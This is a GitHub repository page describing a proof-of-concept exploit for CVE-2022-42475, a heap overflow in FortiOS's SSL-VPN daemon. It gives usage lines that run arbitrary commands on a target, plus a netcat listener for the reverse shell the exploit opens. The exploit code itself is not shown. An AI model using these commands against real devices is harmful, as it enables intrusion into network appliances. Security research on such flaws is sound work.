Skip to content

Amir-hy/cve-2022-42475

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commits
 
 
 
 
 
 

Repository files navigation

FortiOS SSL-VPN buffer overflow vulnerability

cve-2022-42475

https://nvd.nist.gov/vuln/detail/CVE-2022-42475 POC code to exploit the Heap overflow in Fortinet's SSLVPN daemon

Notes

This is a quick and dirty POC that will probably not work anywhere unless you are extremely lucky. It is version dependent and contains some hardcoded offsets which will most likely change from one system to another.

Usage

python3 cve-2022-42475.py rhost rport lhost 'command'

python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /'

Listener

The POC using a python command to setup a reverse shell on port 31337

nc -lvnp 31337

Disclaimer

This project is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage caused by this tool.

Mentions

Thanks to Alain M - Twitter : @plopz0r

About

FortiOS buffer overflow vulnerability

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages